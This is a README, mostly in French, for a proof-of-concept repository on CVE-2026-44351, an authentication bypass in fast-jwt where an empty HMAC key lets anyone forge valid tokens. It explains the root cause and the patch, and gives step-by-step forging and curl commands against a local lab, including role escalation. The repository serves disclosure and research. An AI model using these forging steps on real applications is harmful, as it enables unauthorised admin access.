Preuve de concept pour CVE-2026-44351, un contournement d'authentification dans fast-jwt <6.2.4 où une clé HMAC vide permet aux attaquants de forger des JWT arbitraires acceptés comme valides.
fast-jwtPoC du contournement d'authentification (auth bypass) dans fast-jwt (versions antérieures à
6.2.4) qui permet à tout attaquant non authentifié de falsifier des JWT arbitraires et qu'ils
soient acceptés comme authentiques par l'application cible.
| CVE | CVE-2026-44351 |
| Advisory | GHSA-gmvf-9v4p-v8jc |
| CWE | CWE-1391 (Validation incorrecte des clés) / CWE-287 (Authentification incorrecte) / CWE-326 (Force de chiffrement inadéquate) |
| CVSS 3.1 | 9.1 CRITICAL — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| Vulnérable | fast-jwt < 6.2.4 (vérifié contre 6.2.3) |
| Correctif | [email protected] — rejette les clés HMAC vides avec FAST_JWT_INVALID_KEY |
📄 Documentation technique détaillée (root cause avec code réel, anatomie de l'attaque, analyse du correctif) :
docs/CVE-2026-44351.md
fast-jwt permet de passer une fonction asynchrone comme résolution de clé (key) — le
patron typique lors d'une intégration avec un serveur JWKS :
const verify = createVerifier({
// patron JWKS estandar documentado por la propia libreria
key: async (decoded) => jwks[decoded.header.kid] || '',
})
Lorsque le kid du token entrant n'existe pas, ce patron renvoie ''. fast-jwt
convertit la chaîne vide en un Buffer de longueur zéro (Buffer.alloc(0)), le transmet
à crypto.createSecretKey (Node l'accepte silencieusement) et vérifie la signature du token
en utilisant HMAC avec une clé vide.
Comme HMAC-SHA256(key='', input='<header>.<payload>') est calculable par n'importe qui, l'
attaquant n'a pas besoin de connaître le secret réel : il forge un token avec les claims qu'il
souhaite (sub, admin, roles, scopes, iss, aud, …) et le vérificateur le renvoie comme
authentique.
N'affecte que la voie de résolution de clé asynchrone (fonction). La configuration synchrone
key: ''est correctement rejetée carcreateVerifiercourt-circuite sur les valeurs falsy.
La faille réside dans src/verifier.js. Dans le flux du async key resolver :
getAsyncKey(key, { header, payload, signature }, (err, currentKey) => {
// ...
if (typeof currentKey === 'string') {
currentKey = Buffer.from(currentKey, 'utf-8') // '' -> Buffer.alloc(0)
}
const availableAlgorithms = detectPublicKeyAlgorithms(currentKey)
// rama !publicKeyPemMatch && !X509 -> hsAlgorithms = ['HS256','HS384','HS512']
if (validationContext.allowedAlgorithms.length) {
checkAreCompatibleAlgorithms(...)
} else {
validationContext.allowedAlgorithms = availableAlgorithms // se asigna la familia HMAC
}
currentKey = prepareKeyOrSecret(currentKey, /* isSecret */ true)
// -> createSecretKey(Buffer.alloc(0)) (sin control de longitud)
verifyToken(currentKey, decoded, validationContext)
})
Et la signature est validée avec src/crypto.js :
if (type === 'HS') {
try {
return timingSafeEqual(createHmac(alg, key).update(input).digest(), signature)
} catch { return false }
}
crypto.createHmac('sha256', Buffer.alloc(0)) fonctionne, le HMAC de l'input est calculable
par l'attaquant et le token forgé est accepté.
[email protected])| Resolver shape | algorithms | HS256 | HS384 | HS512 |
|---|---|---|---|---|
async () => '' | (default) | ✅ accepte | ✅ accepte | ✅ accepte |
(d, cb) => cb(null, '') | (default) | ✅ accepte | ✅ accepte | ✅ accepte |
async d => keys[d.header.kid] || '' | (default) | ✅ accepte | ✅ accepte | ✅ accepte |
async () => '' | ['HS256','HS384','HS512'] | ✅ accepte | ✅ accepte | ✅ accepte |
async () => '' | ['HS256','RS256'] | ✅ accepte | INVALID_ALG | INVALID_ALG |
async () => '' | ['RS256'] | INVALID_KEY | INVALID_KEY | INVALID_KEY |
L'attaque s'exécute à la main : le seul artefact est forge.js, qui fabrique le JWT
signé avec une clé vide. L'envoi et la validation se font avec curl.
docker compose up -d --build server
curl -s http://localhost:3000/health # {'status':'ok'} -> target listo
Le Docker ne sert qu'à exécuter la cible vulnérable, pas à exploiter. Le reste de l'attaque est manuel.
Identifiez un JWT réel de l'app (par exemple depuis une requête authentifiée) et inspectez son header/payload sans valider la signature :
node forge.js decode eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6...
# header : { "alg": "HS256", "typ": "JWT", "kid": "..." }
# payload : { "sub": "user", "iat": "...", "exp": "..." }
Points à valider :
kid → l'app résout les clés par kid (possible JWKS).kid cassé avec 401 mais ne présente pas
invalid algo/invalid key, le resolver fait probablement keys[kid] || ''.node forge.js # token por pantalla + comando curl listo
node forge.js -o /tmp/jwt.txt # guarda el token en archivo
node forge.js --kid forged --sub root --admin true --exp 7200
node forge.js --alg HS384 --role superadmin
Le script signe toujours l'en-tête {alg, typ, kid} et le payload choisis en utilisant
HMAC-SHA* avec une clé vide (secret: ""), sans connaître le secret réel de l'app.
Avec le token copié (ou lu depuis le fichier) :
TOKEN=$(cat /tmp/jwt.txt)
curl -si http://localhost:3000/admin -H "Authorization: Bearer $TOKEN"
Réponse attendue si la cible est vulnérable :
HTTP/1.1 200 OK
{"message":"Welcome to the admin panel.","sub":"attacker","allowed":true}
| Cas | Commande | Résultat |
|---|---|---|
| Sans token | curl -si http://localhost:3000/admin | 401 Unauthorized |
| Token invalide | curl -si http://localhost:3000/admin -H "Authorization: Bearer A.B.C" | 401 Unauthorized |
| Token forgé | curl -si http://localhost:3000/admin -H "Authorization: Bearer $TOKEN" | 200 OK + accès admin |
Le bypass est reproductible en changeant les claims et en répétant les étapes 2–3 (post-exploitation :
escalade vers role, scopes, un autre sub, etc.).
Comparaison rapide entre la version vulnérable et la version corrigée :
npm run demo # [email protected] -> token forjado ACEPTADO
npm run fixed # [email protected] -> token forjado RECHAZADO (FAST_JWT_INVALID_KEY)
Également en Docker :
docker compose up -d demo fixed-demo
docker logs cve-2026-44351-demo
docker logs cve-2026-44351-fixed
[email protected] ou supérieur : prepareKeyOrSecret rejette les clés HMAC
de longueur zéro avec FAST_JWT_INVALID_KEY.''/Buffer.alloc(0) comme fallback :
renvoyer undefined/null et traiter ce cas comme une erreur de résolution de clé.cache: false
pendant la transition : le cache de vérification (par défaut 1000 entrées / 600s TTL)
peut conserver des tokens forgés précédemment acceptés.Le serveur expose également une console d'administration (public/) pour que
l'exploitation soit visible sur une app réelle : login corporatif, dashboard avec claims, panneau
d'accès admin et une vue Red Team intégrée.
node server.js # o de nuevo: docker compose up -d --build server
open http://localhost:3000
Comptes de démo :
| Password | Rôle | |
|---|---|---|
[email protected] | admin123 | admin: true (superadmin) |
[email protected] | user123 | admin: false (member) |
L'app reproduit un SaaS légitime :
POST /login émet un JWT signé avec le secret réel (kid: legit-kid) via
createSigner — le signer N'est PAS vulnérable.localStorage et frappe GET /admin, qui utilise le
verifier vulnérable.'' en JS pur, RFC 2104 — WebCrypto n'accepte pas les clés de longueur zéro) ou
coller un token de node forge.js et tester /admin. Avec admin: true il répond
200 OK → bypass confirmé sans quitter le navigateur.Le frontend n'est que présentation : la vulnérabilité reste la même (async key resolver avec
keys[kid] || '') et le flux d'attaque manuel avecforge.js+curldu README continue de fonctionner.
.
├── Dockerfile Imagen con fast-jwt 6.2.3 y 6.2.4 (fixed/)
├── docker-compose.yml Servicios server / demo / fixed-demo (sin exploit)
├── .dockerignore Excluye node_modules del build context
├── package.json Dependencias: [email protected] (vulnerable)
├── server.js API vulnerable (async key resolver con fallback || '') + /admin + /login + estáticos
├── forge.js UNICO script: fabrica el JWT con secret vacío / inspecciona tokens
├── demo.js Demo a nivel de librería contra [email protected] (vulnerable)
├── public/ Frontend "app real" (login, dashboard, admin, red team)
│ ├── index.html
│ ├── styles.css
│ └── app.js SPA + forja client-side (HMAC-SHA256 con key '' en JS puro)
├── docs/
│ └── CVE-2026-44351.md Documentación técnica: en qué consiste, root cause, parche
└── fixed/
├── package.json Dependencias: [email protected] (parcheada)
└── demo.js Misma demo contra [email protected] (parcheado)
Ce matériel est uniquement à des fins éducatives et de recherche en sécurité. Utilisez l' exploit uniquement contre des applications vous appartenant ou avec l'autorisation écrite du propriétaire. L'utilisation non autorisée de cette technique contre des systèmes tiers est illégale et le responsable de son utilisation est celui qui la réalise.